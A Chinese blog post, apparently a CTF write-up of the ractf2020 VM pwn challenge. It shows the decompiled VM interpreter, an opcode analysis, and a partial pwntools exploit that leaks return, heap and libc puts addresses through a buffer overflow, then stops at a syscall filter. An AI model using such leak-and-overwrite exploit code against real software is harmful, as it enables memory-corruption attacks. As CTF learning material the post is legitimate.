ractf2020 vm_pwn测试题

最近队里队长给了我一个入队测试题,结果一看就是vm,吓得我赶紧去看了一个vm的例题,看完后,又来看这道题,把我折磨的有点怀疑人生了,目前还没写完,记录下写题的过程

程序分析

首先大致看一下我的分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned __int8 *v3; // rax
  _QWORD *v4; // rax
  _QWORD *v5; // rax
  _QWORD *v6; // rax
  _QWORD *v7; // rax
  __int64 result; // rax
  int v9; // [rsp+8h] [rbp-28h]
  int v10; // [rsp+Ch] [rbp-24h]
  int v11; // [rsp+Ch] [rbp-24h]
  int v12; // [rsp+Ch] [rbp-24h]
  int v13; // [rsp+Ch] [rbp-24h]
  int v14; // [rsp+Ch] [rbp-24h]
  int v15; // [rsp+Ch] [rbp-24h]
  int v16; // [rsp+Ch] [rbp-24h]
  int v17; // [rsp+Ch] [rbp-24h]
  int v18; // [rsp+Ch] [rbp-24h]
  int v19; // [rsp+Ch] [rbp-24h]
  int v20; // [rsp+Ch] [rbp-24h]
  int v21; // [rsp+Ch] [rbp-24h]
  int v22; // [rsp+Ch] [rbp-24h]
  int v23; // [rsp+Ch] [rbp-24h]
  int v24; // [rsp+Ch] [rbp-24h]
  int v25; // [rsp+Ch] [rbp-24h]
  int v26; // [rsp+Ch] [rbp-24h]
  int v27; // [rsp+Ch] [rbp-24h]
  int v28; // [rsp+Ch] [rbp-24h]
  int v29; // [rsp+Ch] [rbp-24h]
  int v30; // [rsp+Ch] [rbp-24h]
  int v31; // [rsp+Ch] [rbp-24h]
  int v32; // [rsp+Ch] [rbp-24h]
  int v33; // [rsp+Ch] [rbp-24h]
  _QWORD *v34; // [rsp+10h] [rbp-20h]
  char *v35; // [rsp+18h] [rbp-18h]
  char *v36; // [rsp+20h] [rbp-10h]

  sub_BA0();
  v34 = calloc(0x30uLL, 1uLL);
  v35 = calloc(0x1000uLL, 1uLL);
  v36 = calloc(0x2000uLL, 1uLL);
  v34[3] = v36 + 7680;
  v34[5] = aA;
  if ( !v35 || !v36 )
    puts_func("out of memory");
  while ( 1 )                                   // v35 --> data段
                                                // v34[5] --> text段
                                                // v34[3] --> stack段
                                                // v34[0]=reg1=rdi
                                                // v34[1]=reg2=rsi
                                                // v34[2]=reg3=rdx
  {
    v3 = v34[5];
    v34[5] = v3 + 1;
    v9 = *v3;
    switch ( v9 )
    {
      case 0x20:
        *v34 = v34[3];                          // mov reg1,esp
        break;
      case 0x21:
        *v34 = *v34[5];                         // reg1=data2
        v34[5] += 8LL;
        break;
      case 0x22:
        v34[1] = *v34[5];                       // reg2=data2
        v34[5] += 8LL;
        break;
      case 0x23:
        v34[2] = *v34[5];                       // reg3=data2
        v34[5] += 8LL;
        break;
      case 0x30:
        v10 = *v34[5];                          // mov reg1,mem
        if ( v10 < 0 || v10 > 4095 )
          puts_func("buffer overflow detected");
        *v34 = &v35[v10];
        v34[5] += 8LL;
        break;
      case 0x31:
        v11 = *v34[5];
        if ( v11 < 0 || v11 > 4095 )            // mov reg1,mem
          puts_func("buffer overflow detected");
        *v34 = *&v35[v11];
        v34[5] += 8LL;
        break;
      case 0x32:
        v12 = *v34[5];
        if ( v12 < 0 || v12 > 4095 )            // mov reg2,mem
          puts_func("buffer overflow detected");
        v34[1] = *&v35[v12];
        v34[5] += 8LL;
        break;
      case 0x33:
        v13 = *v34[5];
        if ( v13 < 0 || v13 > 4095 )            // mov reg3,mem
          puts_func("buffer overflow detected");
        v34[2] = *&v35[v13];
        v34[5] += 8LL;
        break;
      case 0x43:
        v14 = *v34[5];
        if ( v14 < 0 || v14 > 4095 )            // mov mem,reg1
          puts_func("buffer overflow detected");
        *&v35[v14] = *v34;
        v34[5] += 8LL;
        break;
      case 0x44:
        v15 = *v34[5];
        if ( v15 < 0 || v15 > 4095 )            // mov mem,reg2
          puts_func("buffer overflow detected");
        *&v35[v15] = v34[1];
        v34[5] += 8LL;
        break;
      case 0x45:
        v16 = *v34[5];
        if ( v16 < 0 || v16 > 4095 )            // mov mem,reg3
          puts_func("buffer overflow detected");
        *&v35[v16] = v34[2];
        v34[5] += 8LL;
        break;
      case 0x54:
        if ( (v34[3] - v36) <= 8 )              // push reg1
          puts_func("stack underflow detected");
        v34[3] -= 8LL;
        *v34[3] = *v34;
        break;
      case 0x55:
        if ( (v34[3] - v36) <= 8 )              // push reg2
          puts_func("stack underflow detected");
        v34[3] -= 8LL;
        *v34[3] = v34[1];
        break;
      case 0x56:
        if ( (v34[3] - v36) <= 8 )
          puts_func("stack underflow detected");
        v34[3] -= 8LL;
        *v34[3] = v34[2];
        break;
      case 0x61:                                // add reg1
        if ( (v34[3] - v36) > 7679 )            // pop reg1
          puts_func("stack overflow detected");
        v4 = v34[3];
        v34[3] = v4 + 1;
        *v34 = *v4;
        break;
      case 0x62:
        if ( (v34[3] - v36) > 7679 )            // pop reg2
          puts_func("stack overflow detected");
        v5 = v34[3];
        v34[3] = v5 + 1;
        v34[1] = *v5;
        break;
      case 0x63:
        if ( (v34[3] - v36) > 7679 )            // pop reg3
          puts_func("stack overflow detected");
        v6 = v34[3];
        v34[3] = v6 + 1;
        v34[2] = *v6;
        break;
      case 0x71:
        v17 = *v34[5];
        v34[5] += 8LL;
        *v34 += v17;
        break;
      case 0x72:
        v18 = *v34[5];                          // add reg2
        v34[5] += 8LL;
        v34[1] += v18;
        break;
      case 0x73:
        v19 = *v34[5];                          // add reg3
        v34[5] += 8LL;
        v34[2] += v19;
        break;
      case 0x74:
        v22 = *v34[5];                          // sub reg1
        v34[5] += 8LL;
        *v34 -= v22;
        break;
      case 0x75:
        v23 = *v34[5];                          // sub reg2
        v34[5] += 8LL;
        v34[1] -= v23;
        break;
      case 0x76:
        v24 = *v34[5];                          // sub reg3
        v34[5] += 8LL;
        v34[2] -= v24;
        break;
      case 0x77:
        v25 = *v34[5];                          // imul reg1
        v34[5] += 8LL;
        *v34 *= v25;
        break;
      case 0x78:
        v26 = *v34[5];                          // imul reg2
        v34[5] += 8LL;
        v34[1] *= v26;
        break;
      case 0x79:
        v27 = *v34[5];
        v34[5] += 8LL;
        v34[2] *= v27;
        break;
      case 0x7A:
        v28 = *v34[5];                          // xor reg1
        v34[5] += 8LL;
        *v34 ^= v28;
        break;
      case 0x7B:
        v29 = *v34[5];                          // xor reg2
        v34[5] += 8LL;
        v34[1] ^= v29;
        break;
      case 0x7C:
        v30 = *v34[5];                          // xor reg3
        v34[5] += 8LL;
        v34[2] ^= v30;
        break;
      case 0x7D:
        *v34 = 0LL;
        break;
      case 0x7E:
        v34[1] = 0LL;
        break;
      case 0x7F:                                // 让v33[5]=reg1
        v34[2] = 0LL;
        break;
      case 0x8E:
        v32 = *v34[5];                          // 如果这是栈,那就有可能是恢复栈
        v34[5] += 2LL;
        v34[5] += v32;
        break;
      case 0x8F:
        v34[5] = *v34;
        break;
      case 0x90:
        v34[3] += 8LL;                          // data+=8
                                                // data=v33[5]
                                                // v33[5]=reg1
        *v34[3] = v34[5];
        v34[5] = *v34;
        break;
      case 0x91:
        v20 = *v34[5];
        v34[5] += 8LL;
        v34[3] += 8LL * (v20 / 8);
        break;
      case 0x92:
        v21 = *v34[5];
        v34[5] += 8LL;
        v34[3] += -8LL * (v21 / 8);
        break;
      case 0x98:
        v33 = *v34[5];
        v34[5] += 2LL;
        v34[3] += 8LL;
        *v34[3] = v34[5];
        v34[5] += v33;
        break;
      case 0x9F:
        v31 = *v34[5]++;
        (*(&off_2038E0 + v31))(*v34, v34[1], v34[2]);
        break;
      case 0xA0:
        v7 = v34[3];
        v34[3] = v7 - 1;
        v34[5] = *v7;
        break;
      case 0x10F:
        return 0LL;
      default:
        printf(":%d\n", v9);
        puts_func("Illegal Instrumention");
        return result;
    }
  }
}
/* Orphan comments:
push reg3
imul reg3
init reg1\2\3=0
提升栈
恢复栈
*/

opcode大概的写了出来,但应该只对了一部分,先来说一下程序的流程,与如何看出来的,我在ida里看到的rip,在C语言里是这样的

 

 其实我觉得很奇怪,后面看了下汇编形式

 

 

 

 汇编里显示了一个全局变量出来,发现是一堆地址,ok,接着往下看,发现无法查看了,就拿gdb动态调试的查看一下,还有个全局变量

 

 

 

 

 在gdb中,rip的运算大概是这样的

 

 

 

 咱们来慢慢分析

首先0x4c87到0x4c8b很容易发现是把全局变量所指+1偏移处地址取出来了,然后放在了rcx里面

在将这地址放在了+0的偏移中,也就是让指针所指的地址+1

在将原来的+0的偏移中的值,放入eax中,在经过-0x10与0xef作比较,来进行跳转

 

 接着,这一大段的地址操作,我一开始是看的比较懵逼的,但后面经过反复调试后,发现,这里将eax的值*4,然后从rip+0xbba取值,这里的值不就是一直固定的吗?那这里不就代表着前面的函数地址表吗?

 

 由于我看内存中的这些值时,发现很多数字,所以很快的直接跳过了这里的每一句分析,因为为了测试我特意看了下前面的eax的值是0x1的时候,我特意去看了下函数地址表里的函数偏移为1的函数

这根我在gdb里调试的函数是一样的,所以猜想正确!

 

 

 

 现在来分析一下rip从那个全局变量里如何来的,查看aA全局变量,并根据程序流程,会发现这是data段还是text段呢?我一开始爷挺迷糊的,然后根据一点一点的调试得到了这是text段

这里我找的是与上面分析对应的一段代码

可以看到我在分析的这里的时候,字符串'do you w'这里就是8个字节了

 

 

 

 

 

 然后发现有个0x11的值在这被取出来了通过前面的分析可以知道这个值会被减去0x10,然后当做rip去调用函数,来执行,并且通过ida的简单分析,很快就可以知道,这个v34[5]每次函数几乎都会+8,不正好对应着一个8字节的字符串吗?

 接下来就是来找整个函数的流程了,其实我自己动态调试跟了一下午,分析了一套出来(但是是错的,太菜了),只是我感觉这个函数流程会根据自己的输入来改变,不过应该不会,变换我先贴出来,有错的话指正一下

 

分析完基本的流程后,我感觉这道题是rop,栈溢出,劫持esp,不过还是得看流程的检查才行

所以需要去找gadget才行,不过在几经调试之后,终于发现了一些端倪,程序的返回地址在你的输入地址偏移0x100处,并且由于偏移,就可以泄露libc的地址了,而0xf0处则是堆的地址

所以我们可以先泄露跳转的地址,然后根据偏移来计算offset的偏移值,在通过构造gadget来泄露里面的函数,从而达到泄露libc的地址。

先贴部分代码,泄露libc

 

#leak jmp addr
payload=b'p'*0xff
p.recvuntil('name:')
p.sendline(payload)
p.recvuntil('p'*0xff)
ret_addr=u64(p.recv(7).ljust(8,b'\x00'))
ret_addr=ret_addr>>8
print('ret_addr:'+hex(ret_addr))

#reboot process
main_addr=ret_addr-0x831
payload=b'p'*0x100+p64(main_addr)
print('main:'+hex(main_addr))
p.recvuntil('say:')
p.sendline(payload)

#leak heap_addr
payload=b'p'*0xef
p.recvuntil('name:')
p.sendline(payload)
p.recvuntil('p'*0xef)
heap2_addr=u64(p.recv(7).ljust(8,b'\x00'))
heap2_addr=heap2_addr>>8
print('heap2_addr:'+hex(heap2_addr))
my_input_addr=heap2_addr+0x1010+0x1d08

print('n debug')

puts_offset=ret_addr-0x851+0x8f0

#leak puts addr and reboot
payload=b'\x11'+p64(1)
payload=payload+b'\x12'+p64(puts_offset)
payload=payload+b'\x13'+p64(8)
payload=payload+b'\x8f\x01'
payload=payload+b'\x11'+p64(main_addr)
payload=payload+b'\x44'
payload=payload+b'\x90'
p.recvuntil('say:')
payload=payload.ljust(0x100,b'\x00')
payload=payload+p64(my_input_addr)
print(payload)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('puts_addr:'+hex(puts_addr))

不过到后面当我想劫持puts函数,然后在getshell的时候,意外发生了,直接帮你把系统调用给干翻一半,我吐了,然后去看了一下这个函数的简单解释,这里我贴一下原话

 

 

 

 好吧,得想办法绕过了

本来打算用open函数绕过的,结果发现返回值我没法控制,我真不知道怎么绕过了,所以只能以后再来写这道题了。。。如果有师傅能给提示就好了

先说到这,接着去写这道题了-_-||

posted @ 2020-12-19 15:07  PYozo_free  阅读(197)  评论(0编辑  收藏  举报